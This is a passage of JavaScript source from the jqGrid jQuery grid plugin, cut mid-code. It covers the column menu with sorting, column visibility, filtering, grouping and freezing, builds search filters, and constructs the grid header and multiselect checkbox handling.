$(ts).triggerHandler("jqGridColMenuColumnDone", [cols, null, null]); if($.jgrid.isFunction(ts.p.colMenuColumnDone)) { ts.p.colMenuColumnDone.call( ts, cols, null, null); } $(ts).jqGrid("setFrozenColumns"); for(i=0;i<len;i++) { cols[i] = i; } if(1===2 /*colArr.length*/) { // setColSpanis on refresh. For future work $("#col_menu").remove(); setTimeout(function(){ buildColItems(top, left, parent, op); }, 0); } }); } // NO jQuery UI $("#col_menu > li > a").on("click", function(e) { var checked, col_name; if($(e.target).hasClass('notclick')) { return; } if($(e.target).is(":input")) { checked = $(e.target).is(":checked"); } else { checked = !$("input", this).is(":checked"); $("input", this).prop("checked",checked); } col_name = $("input", this).attr('name'); if(col_name === "check_all") { if(!checked) { $("input", "#col_menu" ).prop("checked",false); $(ts).jqGrid('hideCol', cols_nm); } else { $("input", "#col_menu" ).prop("checked",true); $(ts).jqGrid('showCol', cols_nm); } } else { $(ts).triggerHandler("jqGridColMenuColumnDone", [cols, col_name, checked]); if($.jgrid.isFunction(ts.p.colMenuColumnDone)) { ts.p.colMenuColumnDone.call( ts, cols, col_name, checked); } if(!checked) { $(ts).jqGrid('hideCol', col_name); $(this).parent().attr("draggable","false"); } else { $(ts).jqGrid('showCol', col_name ); $(this).parent().attr("draggable","true"); } if(op.columns_selectAll) { $("#chk_all", "#col_menu").prop("checked", $('.chk_selected:checked', "#col_menu").length === $('.chk_selected', "#col_menu").length ); } $("#column_menu").remove(); } }).hover(function(){ $(this).addClass(hover); },function(){ $(this).removeClass(hover); }); }, buildSearchBox = function (index, top, left, parent) { var cm = ts.p.colModel[index], rules, o1='',v1='',r1='',o2='',v2='', so, op, repstr='',selected, elem, numopts = ['eq','ne', 'lt', 'le', 'gt', 'ge', 'nu', 'nn', 'in', 'ni'], stropts = ['eq', 'ne', 'bw', 'bn', 'ew', 'en', 'cn', 'nc', 'nu', 'nn', 'in', 'ni'], strarr = ['text', 'string', 'blob'], texts = $.jgrid.getRegional(ts, "search"), common = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].common, classes = $.jgrid.styleUI[(p.styleUI || 'jQueryUI')].modal; if(!cm ) { return; } rules = ts.p.colFilters && ts.p.colFilters[cm.name] ? ts.p.colFilters[cm.name] : false; if(rules && !$.isEmptyObject( rules )) { o1 = rules.oper1; v1 = rules.value1; r1 = rules.rule; o2 = rules.oper2; v2 = rules.value2; } if(! cm.searchoptions ) { cm.searchoptions = {}; } if(cm.searchoptions.sopt) { so = cm.searchoptions.sopt; } else if( $.inArray(cm.sorttype, strarr) !== -1 ) { so = stropts; } else { so = numopts; } if(cm.searchoptions.groupOps) { op = cm.searchoptions.groupOps; } else { op = texts.groupOps; } //elem = $('<ul id="search_menu" class="ui-search-menu modal-content" role="menu" tabindex="0" style="left:'+left+'px;top:'+top+'px;"></ul>'); elem = $('<form></form>'); var str1 = "<a id='bs_close' aria-label='Close'><span class='" + iconbase + " " + classes.icon_close + "'></span></a>"; str1 += '<div>'+$.jgrid.getRegional(ts, "colmenu.searchTitle")+'</div>'; str1 += '<div><select size="1" id="oper1" class="'+colmenustyle.filter_select+'">'; $.each(texts.odata, function(i, n) { selected = n.oper === o1 ? 'selected="selected"' : ''; if($.inArray(n.oper, so) !== -1) { repstr += '<option value="'+n.oper+'" aria-label="'+n.text+'" '+selected+'>'+n.text+'</option>'; } }); str1 += repstr; str1 += '</select></div>'; elem.append(str1); var df=""; if(cm.searchoptions.defaultValue ) { df = $.jgrid.isFunction(cm.searchoptions.defaultValue) ? cm.searchoptions.defaultValue.call(ts) : cm.searchoptions.defaultValue; } //overwrite default value if restore from filters if( v1 ) { df = v1; } var soptions = $.extend(cm.searchoptions, {name:cm.index || cm.name, id: "sval1_" + ts.p.idPrefix+cm.name, oper:'search'}), input = $.jgrid.createEl.call(ts, cm.stype, soptions , df, false, $.extend({},$.jgrid.ajaxOptions, ts.p.ajaxSelectOptions || {})); $(input).addClass( colmenustyle.filter_input ); str1 = $('<div></div>').append(input); elem.append(str1); // and/or str1 ='<div><select size="1" id="operand" class="'+colmenustyle.filter_select+'">'; $.each(op, function(i, n){ selected = n.op === r1 ? 'selected="selected"' : ''; str1 += "<option value='"+n.op+"' "+selected+">"+n.text+"</option>"; }); str1 += '</select></div>'; elem.append(str1); //oper2 repstr =''; $.each(texts.odata, function(i, n) { selected = n.oper === o2 ? 'selected="selected"' : ''; if($.inArray(n.oper, so) !== -1) { repstr += '<option value="'+n.oper+'" '+selected+'>'+n.text+'</option>'; } }); str1 = '<div><select size="1" id="oper2" class="'+colmenustyle.filter_select+'">' + repstr +'</select></div>'; elem.append(str1); // value2 if( v2 ) { df = v2; } else { df = ""; } soptions = $.extend(cm.searchoptions, {name:cm.index || cm.name, id: "sval2_" + ts.p.idPrefix+cm.name, oper:'search'}); input = $.jgrid.createEl.call(ts, cm.stype, soptions , df, false, $.extend({},$.jgrid.ajaxOptions, ts.p.ajaxSelectOptions || {})); $(input).addClass( colmenustyle.filter_input ); str1 = $('<div></div>').append(input); elem.append(str1); // buttons str1 = "<div>"; str1 +="<div class='search_buttons'><a tabindex='0' id='bs_reset' class='fm-button " + common.button +" ui-reset'>"+texts.Reset+"</a></div>"; str1 +="<div class='search_buttons'><a tabindex='0' id='bs_search' class='fm-button " + common.button + " ui-search'>"+texts.Find+"</a></div>"; str1 += "</div>"; elem.append(str1); elem = $('<li class="ui-menu-item" role="presentation"></li>').append( elem ); elem = $('<ul id="search_menu" class="ui-search-menu modal-content ' + common.shadow + '" role="menu" tabindex="0" style="left:'+left+'px;"></ul>').append(elem); $(parent).append(elem); $("#search_menu").addClass("ui-menu " + colmenustyle.menu_widget); if(!$.jgrid.isElementInViewport($("#search_menu")[0])){ $("#search_menu").css("left", -parseInt($("#column_menu").innerWidth(),10) +"px"); } $("#bs_reset, #bs_search", "#search_menu", "#bs_close").hover(function(){ $(this).addClass(hover); },function(){ $(this).removeClass(hover); }); $("#bs_reset", elem).on('click', function(e){ ts.p.colFilters[cm.name] = {}; if(ts.p.mergeSearch === true && ts.p.searchModules.hasOwnProperty('colMenuSearch') && ts.p.searchModules.colMenuSearch !== false ) { ts.p.searchModules.colMenuSearch = buildFilters(); $.extend(ts.p.postData,{filters: $.jgrid.splitSearch(ts.p.searchModules)}); ts.p.search = true; } else { ts.p.postData.filters = buildFilters(); ts.p.search = false; ts.p.resetsearch = true; } df = ""; if(cm.searchoptions.defaultValue ) { df = $.jgrid.isFunction(cm.searchoptions.defaultValue) ? cm.searchoptions.defaultValue.call(ts) : cm.searchoptions.defaultValue; } $("#sval1_" + ts.p.idPrefix+cm.name,"#search_menu").val(df); $("#sval2_" + ts.p.idPrefix+cm.name,"#search_menu").val(""); if( $.jgrid.isFunction( ts.p.colMenuBeforeProcess )) { ts.p.colMenuBeforeProcess.call(ts, { module: 'filtering', action : 'reset', column : cm.name}); } $(ts).trigger("reloadGrid"); //$("#column_menu").remove(); }); $("#bs_search", elem).on('click', function(e){ ts.p.colFilters[cm.name] = { oper1: $("#oper1","#search_menu").val(), value1: $("#sval1_" + ts.p.idPrefix+cm.name,"#search_menu").val(), rule: $("#operand","#search_menu").val(), oper2 : $("#oper2","#search_menu").val(), value2 : $("#sval2_" + ts.p.idPrefix+cm.name,"#search_menu").val() }; if(ts.p.mergeSearch === true && ts.p.searchModules.hasOwnProperty('colMenuSearch') && ts.p.searchModules.colMenuSearch !== false ) { ts.p.searchModules.colMenuSearch = buildFilters(); $.extend(ts.p.postData,{filters: $.jgrid.splitSearch(ts.p.searchModules)}); } else { ts.p.postData.filters = buildFilters(); } ts.p.search = true; if( $.jgrid.isFunction( ts.p.colMenuBeforeProcess )) { ts.p.colMenuBeforeProcess.call(ts, { module: 'filtering', action : 'search', column : cm.name}); } $(ts).trigger("reloadGrid"); $("#column_menu").remove(); }); $("#bs_close", elem).on('click', function(){ $("#column_menu").remove(); }); }, buildFilters = function() { var go = "AND", filters ="", i=0; //{\"groupOp\":\"" + go + "\",\"rules\":[], \"groups\" : [ for (var item in ts.p.colFilters) { if(ts.p.colFilters.hasOwnProperty(item)) { var si = ts.p.colFilters[item]; if(!$.isEmptyObject(si)) { if(si.value1==="" && si.value2==="") { break; } if(i>0) { filters += ","; } filters += "{\"groupOp\":\""+si.rule +"\",\"rules\":["; filters += "{\"field\":\"" + item + "\","; filters += "\"op\":\"" + si.oper1 + "\","; si.value1 +=""; filters += "\"data\":\"" + si.value1.replace(/\\/g,'\\\\').replace(/\"/g,'\\"') + "\"}"; if(si.value2) { filters += ",{\"field\":\"" + item + "\","; filters += "\"op\":\"" + si.oper2 + "\","; si.value2 +=""; filters += "\"data\":\"" + si.value2.replace(/\\/g,'\\\\').replace(/\"/g,'\\"') + "\"}"; } filters += "]"; i++; } else { //console.log('empty object'); } } } filters += "}"; if( i === 0) { filters = ""; } return filters; }, buildGrouping = function( index, isgroup ) { var cm = ts.p.colModel[index], group = ts.p.groupingView; if(isgroup !== -1) { group.groupField.splice(isgroup,1); } else { group.groupField.push( cm.name); } if( $.jgrid.isFunction( ts.p.colMenuBeforeProcess )) { ts.p.colMenuBeforeProcess.call(ts, { module: 'grouping', action : (isgroup !== -1? 'ungroup' : 'group'), column : cm.name}); } $(ts).jqGrid('groupingGroupBy', group.groupField ); if(ts.p.frozenColumns) { $(ts).jqGrid("destroyFrozenColumns"); $(ts).jqGrid("setFrozenColumns"); } }, buildFreeze = function( index, isfreeze ) { var cols = [], i, len = ts.p.colModel.length, lastfrozen = -1, cm = ts.p.colModel; for(i=0; i < len; i++) { if(cm[i].frozen) { lastfrozen = i; } cols.push(i); } // from position index to lastfrozen+1 cols.splice( index, 1); cols.splice(lastfrozen + (isfreeze ? 1 : 0), 0, index); cm[index].frozen = isfreeze; if( $.jgrid.isFunction( ts.p.colMenuBeforeProcess )) { ts.p.colMenuBeforeProcess.call(ts, { module: 'freeze', action : isfreeze ? 'freeze' : 'unfreeze', column : cm[index].name}); } $(ts).jqGrid("destroyFrozenColumns"); $(ts).jqGrid("remapColumns", cols, true); $(ts).jqGrid("setFrozenColumns"); }, buildSubmenuItems = function (top, left, parent, id, cname) { var cm = ts.p.colModel, i, common = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].common, styles = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].colmenu, items = ts.p.colMenuCustom[id].items, str1 = '<ul id="col_menu" class="ui-search-menu ui-col-menu modal-content ' + common.shadow + '" role="menu" tabindex="0" style="left:'+left+'px;">'; items.forEach((item)=>{ if(!item.icon) { item.icon = styles.icon_new_item; } if(item.id =="separator") { str1 += '<li class="ui-menu-item divider" role="separator"></li>'; } else { str1 += '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="' + item.id + '"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+item.icon+'"></span></td><td class="menu_text">'+item.title+'</td></tr></table></a></li>'; } }); str1 += "</ul>"; $(parent).append(str1); $("#col_menu").addClass("ui-menu " + colmenustyle.menu_widget); if(!$.jgrid.isElementInViewport($("#col_menu")[0])){ $("#col_menu").css("left", - parseInt($("#column_menu").innerWidth(),10) +"px"); } $("#col_menu > li > a").on("click", function(e) { var v = $(this).attr("data-value"); //sobj = ts.grid.headers[index].el; var itm = items.find( (exec) => exec.id===v); if(itm) { if($.jgrid.isFunction(itm.funcname)) { itm.funcname.call(ts, cname); if(itm.closeOnRun) { $(this).remove(); } } } }).hover(function(){ $(this).addClass(hover); },function(){ $(this).removeClass(hover); }); }, buildColMenu = function( index, left, top ){ var menu_offset = $(grid.hDiv).height(); if($(".ui-search-toolbar",grid.hDiv)[0] && !isNaN($(".ui-search-toolbar",grid.hDiv).height())) { menu_offset -= $(".ui-search-toolbar",grid.hDiv).height(); } if( !$(grid.cDiv).is(":hidden") ){ menu_offset += $(grid.cDiv).outerHeight(); } if(ts.p.toolbar[1] && ts.p.toolbar[2] !== "bottom" && !$.jgrid.isNull( $(grid.uDiv), true) ) { menu_offset += $(grid.uDiv).outerHeight(); } if( ts.p.toppager) { menu_offset += $("#"+ $.jgrid.jqID(ts.p.id) +"_toppager").outerHeight(); } //$("#sopt_menu").remove(); left = parseInt(left,10); top = menu_offset; /* + parseInt(top,10)*/ var strb = '<ul id="column_menu" role="menu" tabindex="0">', str = '', stre = "</ul>", strl ='', cm = ts.p.colModel[index], op = $.extend({sorting:true, columns: true, filtering: true, seraching:true, grouping:true, freeze : true}, cm.coloptions), common = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].common, texts = $.jgrid.getRegional(ts, "colmenu"), label = ts.p.colNames[index], isgroup, isfreeze, menuData = [], cname = $.jgrid.trim(cm.name); // ??? // sorting menuData.push( str ); if(cm.sortable && op.sorting) { str = '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="sortasc"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+colmenustyle.icon_sort_asc+'"></span></td><td class="menu_text">'+texts.sortasc+'</td></tr></table></a></li>'; str += '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="sortdesc"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+colmenustyle.icon_sort_desc+'"></span></td><td class="menu_text">'+texts.sortdesc+'</td></tr></table></a></li>'; menuData.push( str ); } if(op.columns) { str = '<li class="ui-menu-item divider" role="separator"></li>'; str += '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="columns"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+colmenustyle.icon_columns+'"></span></td><td class="menu_text">'+texts.columns+'</td></tr></table></a></li>'; menuData.push( str ); } if(op.filtering) { str = '<li class="ui-menu-item divider" role="separator"></li>'; str += '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="filtering"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+colmenustyle.icon_filter+'"></span></td><td class="menu_text">'+texts.filter + ' ' + label +'</td></tr></table></a></li>'; menuData.push( str ); } if(op.grouping) { isgroup = $.inArray(cm.name, ts.p.groupingView.groupField); str = '<li class="ui-menu-item divider" role="separator"></li>'; str += '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="grouping"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+colmenustyle.icon_group+'"></span></td><td class="menu_text">'+(isgroup !== -1 ? texts.ungrouping: texts.grouping + ' ' + label)+'</td></tr></table></a></li>'; menuData.push( str ); } if(op.freeze) { if( !(ts.p.subGrid || ts.p.treeGrid || ts.p.cellEdit) ) { isfreeze = (cm.frozen && ts.p.frozenColumns) ? false : true; str = '<li class="ui-menu-item divider" role="separator"></li>'; str += '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="freeze"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+colmenustyle.icon_freeze+'"></span></td><td class="menu_text">'+(isfreeze ? (texts.freeze + " "+ label) : texts.unfreeze)+'</td></tr></table></a></li>'; menuData.push( str ); } } for( var key in ts.p.colMenuCustom) { if(ts.p.colMenuCustom.hasOwnProperty(key)) { var menuitem = ts.p.colMenuCustom[key]; if( $.jgrid.isFunction( ts.p.colMenuBeforeProcess )) { ts.p.colMenuBeforeProcess.call(ts, { module: 'custom', action: menuitem , column : menuitem.colname}); } $(ts).triggerHandler("jqGridcolMenuBeforeProcess", [{ module: 'custom', action: menuitem , column : menuitem.colname}]); var exclude = menuitem.exclude.split(","); exclude = $.map(exclude, function(item){ return $.jgrid.trim(item);}); if( menuitem.colname === cname || (menuitem.colname === '_all_' && $.inArray(cname, exclude) === -1)) { var subid = menuitem.items.length ? "submenu": menuitem.id; strl = '<li class="ui-menu-item divider" role="separator"></li>'; str = '<li class="ui-menu-item" role="presentation"><a id="'+menuitem.id+'" class="g-menu-item" tabindex="0" role="menuitem" data-value="' + subid + '"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+menuitem.icon+'"></span></td><td class="menu_text">'+menuitem.title+'</td></tr></table></a></li>'; if(menuitem.position === 'last') { if(menuitem.separator) { menuData.push( strl ); } menuData.push( str ); } else if( menuitem.position === 'first') { if(menuitem.separator) { menuData.unshift( strl ); } menuData.unshift( str ); } } } } menuData.unshift( strb ); menuData.push( stre ); //str += "</ul>"; $('#gbox_'+ts.p.id).append( menuData.join('') ); $("#column_menu") .addClass("ui-search-menu modal-content column-menu jqgrid-column-menu ui-menu "+ common.shadow+ " " + colmenustyle.menu_widget) .css({"left":left,"top":top}); if(ts.p.direction === "ltr") { var wcm = $("#column_menu").width() + 26; $("#column_menu").css("left", (left- wcm)+'px'); } $("#column_menu > li > a").hover( function(){ $("#col_menu").remove(); $("#search_menu").remove(); var left1, top1; if($(this).attr("data-value") === 'columns') { left1 = $(this).parent().width()+8; top1 = $(this).parent().position().top - 5; buildColItems(top1, left1, $(this).parent(), op); } if($(this).attr("data-value") === 'filtering') { left1 = $(this).parent().width()+8; top1 = $(this).parent().position().top - 5; buildSearchBox(index, top1, left1, $(this).parent()); } if($(this).attr("data-value") === 'submenu') { left1 = $(this).parent().width()+8; top1 = $(this).parent().position().top - 5; buildSubmenuItems(top1, left1, $(this).parent(), $(this).attr("id"), cname); } $(this).addClass(hover); }, function(){ $(this).removeClass(hover); } ).click(function(){ var v = $(this).attr("data-value"), sobj = ts.grid.headers[index].el; if(v === 'sortasc' || v === 'sortdesc') { if( $.jgrid.isFunction( ts.p.colMenuBeforeProcess )) { ts.p.colMenuBeforeProcess.call(ts, { module: 'sorting', action: v === 'sortasc' ? 'asc' : 'desc' , column : cm.name}); } sortData( "jqgh_"+ts.p.id+"_" + cm.name, index, true, (v === 'sortasc' ? 'asc' : 'desc'), sobj); } else if (v === 'grouping') { buildGrouping(index, isgroup); } else if( v==='freeze') { buildFreeze( index, isfreeze); } if(v === 'grouping' || v==='freeze') { $(this).remove(); } if(ts.p.colMenuCustom.hasOwnProperty(v)) { var exec = ts.p.colMenuCustom[v]; if($.jgrid.isFunction(exec.funcname)) { exec.funcname.call(ts, cname); if(exec.closeOnRun) { $(this).remove(); } } } }); if( parseFloat($("#column_menu").css("left")) < 0 ) { $("#column_menu").css("left", $(ts).css("left") ); } }, colTemplate; if(ts.p.colMenu || ts.p.menubar) { $("body").on('click', function(e){ if(!$(e.target).closest("#column_menu").length) { try { $("#column_menu").remove(); } catch (e1) {} } if(!$(e.target).closest(".ui-jqgrid-menubar").length) { try { $("#"+ts.p.id+"_menubar").hide(); } catch (e1) {} } }); } this.p.id = this.id; if(ts.p.autowidth===true) { var pw = $(eg).parent().width(); tmpcm = $(window).width(); ts.p.width = tmpcm - pw > 3 ? pw: tmpcm-1; } if ($.inArray(ts.p.multikey,sortkeys) === -1 ) {ts.p.multikey = false;} ts.p.keyName=false; for (i=0; i<ts.p.colModel.length;i++) { colTemplate = typeof ts.p.colModel[i].template === "string" ? ( !$.jgrid.isNull($.jgrid.cmTemplate) && typeof $.jgrid.cmTemplate[ts.p.colModel[i].template] === "object" ? $.jgrid.cmTemplate[ts.p.colModel[i].template]: {}) : ts.p.colModel[i].template; ts.p.colModel[i] = $.extend(true, {}, ts.p.cmTemplate, colTemplate || {}, ts.p.colModel[i]); if (ts.p.keyName === false && ts.p.colModel[i].key===true) { ts.p.keyName = ts.p.colModel[i].name; ts.p.keyIndex = i; } } ts.p.sortorder = ts.p.sortorder.toLowerCase(); $.jgrid.cell_width = $.jgrid.cellWidth(); // calculate cellLayout var bstw2 = $("<table style='visibility:hidden'><tr class='jqgrow'><td>1</td></tr></table)").addClass(getstyle(stylemodule,"rowTable", true, 'ui-jqgrid-btable ui-common-table')); $(eg).append(bstw2); ts.p.cellLayout = $.jgrid.floatNum( $("td", bstw2).css('padding-left')) + $.jgrid.floatNum($("td", bstw2).css('padding-right'), 10) + 1; if(ts.p.cellLayout <=0 ) { ts.p.cellLayout = 5; } $(bstw2).remove(); bstw2 = null; if(ts.p.grouping===true) { ts.p.scroll = false; ts.p.rownumbers = false; //ts.p.subGrid = false; expiremental ts.p.treeGrid = false; ts.p.gridview = true; } if(this.p.treeGrid === true) { try { $(this).jqGrid("setTreeGrid");} catch (_) {} if(ts.p.datatype !== "local") { ts.p.localReader = { id: "_id_" }; } else if(ts.p.keyName !== false) { ts.p.localReader = { id: ts.p.keyName }; } } if(this.p.subGrid) { try { $(ts).jqGrid("setSubGrid");} catch (s){} } if(this.p.searchCols) { this.p.colNames.unshift(ts.p.searchColOptions.colName); this.p.colModel.unshift({name:'sc',width: ts.p.searchColOptions.colWidth,sortable:false,hidedlg:true,search:false,align:'left',fixed:true, frozen: true, colmenu: ts.p.searchColOptions.colmenu, classes : "jqgrid-searchcol", labelClasses: "jqgrid-searchcolumn", coloptions : {sorting:false, columns: false, filtering: false, seraching:false, grouping:false, freeze : false}}); } if(this.p.multiselect) { var allRowsSelectTitle=$.jgrid.getRegional(ts, "defaults.selectAllLines"); allRowsSelectTitle=allRowsSelectTitle ? allRowsSelectTitle : $.jgrid.regional['en'].defaults.selectAllLines; this.p.colNames.unshift("<input role='checkbox' id='cb_"+this.p.id+"' class='cbox' type='checkbox' title='"+allRowsSelectTitle+"'/>"); this.p.colModel.unshift({name:'cb',width:$.jgrid.cell_width ? ts.p.multiselectWidth+ts.p.cellLayout : ts.p.multiselectWidth,sortable:false,resizable:false,hidedlg:true,search:false,align:'center',fixed:true, frozen: true, classes : "jqgrid-multibox", labelClasses: "jqgrid-multibox" }); } if(this.p.rownumbers) { this.p.colNames.unshift(""); this.p.colModel.unshift({name:'rn',width:ts.p.rownumWidth,sortable:false,resizable:false,hidedlg:true,search:false,align:'center',fixed:true, frozen : true, labelClasses: "jqgrid-rownumber"}); } ts.p.xmlReader = $.extend(true,{ root: "rows", row: "row", page: "rows>page", total: "rows>total", records : "rows>records", repeatitems: true, cell: "cell", id: "[id]", userdata: "userdata", subgrid: {root:"rows", row: "row", repeatitems: true, cell:"cell"} }, ts.p.xmlReader); ts.p.jsonReader = $.extend(true,{ root: "rows", page: "page", total: "total", records: "records", repeatitems: true, cell: "cell", id: "id", userdata: "userdata", subgrid: {root:"rows", repeatitems: true, cell:"cell"} },ts.p.jsonReader); ts.p.localReader = $.extend(true,{ root: "rows", page: "page", total: "total", records: "records", repeatitems: false, cell: "cell", id: "id", userdata: "userdata", subgrid: {root:"rows", repeatitems: true, cell:"cell"} },ts.p.localReader); if(ts.p.scroll){ ts.p.pgbuttons = false; ts.p.pginput=false; ts.p.rowList=[]; } if(ts.p.data.length) { normalizeData(); refreshIndex(); } var thead = "<thead role='rowgroup'><tr class='ui-jqgrid-labels' role='row'>", tdc, idn, w, res, sort ="", td, ptr, tbody, imgs, iac="", idc="", tmpcm; if(ts.p.shrinkToFit===true && ts.p.forceFit===true) { for (i=ts.p.colModel.length-1;i>=0;i--){ if(!ts.p.colModel[i].hidden) { ts.p.colModel[i].resizable=false; break; } } } if(ts.p.viewsortcols[1] === 'horizontal') { iac=" ui-i-asc"; idc=" ui-i-desc"; } else if(ts.p.viewsortcols[1] === "single") { iac = " ui-single-sort-asc"; idc = " ui-single-sort-desc"; sort = " style='display:none'"; ts.p.viewsortcols[0] = false; } tdc = isMSIE ? "class='ui-th-div-ie'" :""; imgs = "<span class='s-ico' style='display:none'>"; imgs += "<span sort='asc' class='ui-grid-ico-sort ui-icon-asc"+iac+" ui-sort-"+dir+" "+disabled+" " + iconbase + " " + getstyle(stylemodule, 'icon_asc', true)+ "'" + sort + " aria-label='empty'><span style='display:none'>empty</span></span>"; imgs += "<span sort='desc' class='ui-grid-ico-sort ui-icon-desc"+idc+" ui-sort-"+dir+" "+disabled+" " + iconbase + " " + getstyle(stylemodule, 'icon_desc', true)+"'" + sort + " aria-label='empty'><span style='display:none'>empty</span></span></span>"; if(ts.p.multiSort) { if(ts.p.sortname ) { sortarr = ts.p.sortname.split(","); for (i=0; i < sortarr.length; i++) { sotmp = $.jgrid.trim(sortarr[i]).split(" "); sortarr[i] = $.jgrid.trim(sotmp[0]); sortord[i] = sotmp[1] ? $.jgrid.trim(sotmp[1]) : ts.p.sortorder || "asc"; } } } for(i=0;i<this.p.colNames.length;i++){ var tooltip = ts.p.headertitles ? (" title=\"" + (ts.p.colModel[i].tooltip ? ts.p.colModel[i].tooltip : $.jgrid.stripHtml(ts.p.colNames[i])) + "\"") : ""; tmpcm = ts.p.colModel[i]; if(!tmpcm.hasOwnProperty('colmenu')) { tmpcm.colmenu = (tmpcm.name === "rn" || tmpcm.name === "cb" || tmpcm.name === "subgrid") ? false : true; } thead += "<th id='"+ts.p.id+"_" + tmpcm.name+"' role='columnheader' scope='col' "+getstyle(stylemodule,'headerBox',false, "ui-th-column ui-th-" + dir + " " + ( tmpcm.labelClasses || "") ) + tooltip+">"; idn = tmpcm.index || tmpcm.name; thead += "<div class='ui-th-div' id='jqgh_"+ts.p.id+"_"+tmpcm.name+"' "+tdc+">"+ts.p.colNames[i]; if(!tmpcm.width) { tmpcm.width = ts.p.defaultColWidth; } else { tmpcm.width = parseInt(tmpcm.width,10); } if(typeof tmpcm.title !== "boolean") { tmpcm.title = true; } tmpcm.lso = ""; if (idn === ts.p.sortname) { ts.p.lastsort = i; } if(ts.p.multiSort) { sotmp = $.inArray(idn,sortarr); if( sotmp !== -1 ) { tmpcm.lso = sortord[sotmp]; } } thead += imgs; if(ts.p.colMenu && tmpcm.colmenu) { thead += "<a title='"+$.jgrid.getRegional(ts,"colmenu.hovermenu")+"' class='"+(ts.p.direction==='ltr' ? "colmenu" : "colmenu-rtl") +"'><span class='colmenuspan "+iconbase+' '+colmenustyle.icon_menu+"'></span></a>"; } thead += "</div></th>"; } thead += "</tr></thead>"; imgs = null; tmpcm = null; $(this).append(thead); $("thead tr",this).first().find("th").hover( function(){ $(this).addClass(hover);}, function(){ $(this).removeClass(hover);} ); if(this.p.multiselect) { var emp=[], chk; $('#cb_'+$.jgrid.jqID(ts.p.id),this).on('click',function(){ if(!ts.p.preserveSelection) { ts.p.selarrrow = []; } var froz = ts.p.frozenColumns === true ? ts.p.id + "_frozen" : ""; if (this.checked) { $(ts.rows).each(function(i) { if (i>0) { if(!$(this).hasClass("ui-subgrid") && !$(this).hasClass("jqgroup") && !$(this).hasClass(disabled) && !$(this).hasClass("jqfoot")){ $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+$.jgrid.jqID(this.id) )[ts.p.useProp ? 'prop': 'attr']("checked",true); $(this).addClass(highlight).attr("aria-selected","true"); if(ts.p.preserveSelection) { if(ts.p.selarrrow.indexOf(this.id) === -1) { ts.p.selarrrow.push(this.id); } } else { ts.p.selarrrow.push(this.id); } ts.p.selrow = this.id; if(froz) { $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+$.jgrid.jqID(this.id), ts.grid.fbDiv )[ts.p.useProp ? 'prop': 'attr']("checked",true); $("#"+$.jgrid.jqID(this.id), ts.grid.fbDiv).addClass(highlight); } } } }); chk=true; emp=[]; } else { $(ts.rows).each(function(i) { if(i>0) { if(!$(this).hasClass("ui-subgrid") && !$(this).hasClass("jqgroup") && !$(this).hasClass(disabled) && !$(this).hasClass("jqfoot")){ $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+$.jgrid.jqID(this.id) )[ts.p.useProp ? 'prop': 'attr']("checked", false); $(this).removeClass(highlight).attr("aria-selected","false"); emp.push(this.id); if(ts.p.preserveSelection) { var curind = ts.p.selarrrow.indexOf(this.id); if(curind > -1) { ts.p.selarrrow.splice(curind, 1); } } if(froz) { $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+$.jgrid.jqID(this.id), ts.grid.fbDiv )[ts.p.useProp ? 'prop': 'attr']("checked",false); $("#"+$.jgrid.jqID(this.id), ts.grid.fbDiv).removeClass(highlight); } } } }); ts.p.selrow = null; chk=false; } $(ts).triggerHandler("jqGridSelectAll", [chk ? ts.p.selarrrow : emp, chk]); if($.jgrid.isFunction(ts.p.onSelectAll)) {ts.p.onSelectAll.call(ts, chk ? ts.p.selarrrow : emp,chk);} if($.jgrid.isFunction(ts.p.onMultiSelect)) {ts.p.onMultiSelect.call(ts, ts.p.selarrrow);} //si }); } var tfoot = "", trhead="", bstw = ts.p.styleUI.search('Bootstrap') !== -1 ? 2 : 0; setColWidth(); bstw2 = ts.p.styleUI.search('Bootstrap') !== -1; $(eg).css("width",grid.width+"px").append("<div class='ui-jqgrid-resize-mark' id='rs_m"+ts.p.id+"'> </div>"); if(ts.p.scrollPopUp) { $(eg).append("<div "+ getstyle(stylemodule, 'scrollBox', false, 'loading ui-scroll-popup')+" id='scroll_g"+ts.p.id+"'></div>"); } $(gv).css("width",grid.width+"px"); thead = $(ts).find("thead").first().get(0); if(ts.p.footerrow) { tfoot += "<table role='presentation' style='width:"+ts.p.tblwidth+"px' "+getstyle(stylemodule,'footerTable', false, 'ui-jqgrid-ftable ui-common-table')+ "><tbody><tr role='row' "+getstyle(stylemodule,'footerBox', false, 'footrow footrow-'+dir)+">"; } if(ts.p.headerrow) { trhead += "<table role='presentation' style='width:"+ts.p.tblwidth+"px' "+getstyle(stylemodule,'headerRowTable', false, 'ui-jqgrid-hrtable ui-common-table')+ "><tbody><tr role='row' "+getstyle(stylemodule,'headerRowBox', false, 'hrheadrow hrheadrow-'+dir)+">"; } var thr = $(thead).find("tr").first(), firstr = "<tr class='jqgfirstrow "+ (ts.p.direction === "rtl"? "ui-row-rtl'" :"'") +" role='row'>", clicks =0, // header font for full autosize hdr_font = $.jgrid.getFont( $("th",thr).first()[0] ); ts.p.disableClick=false; 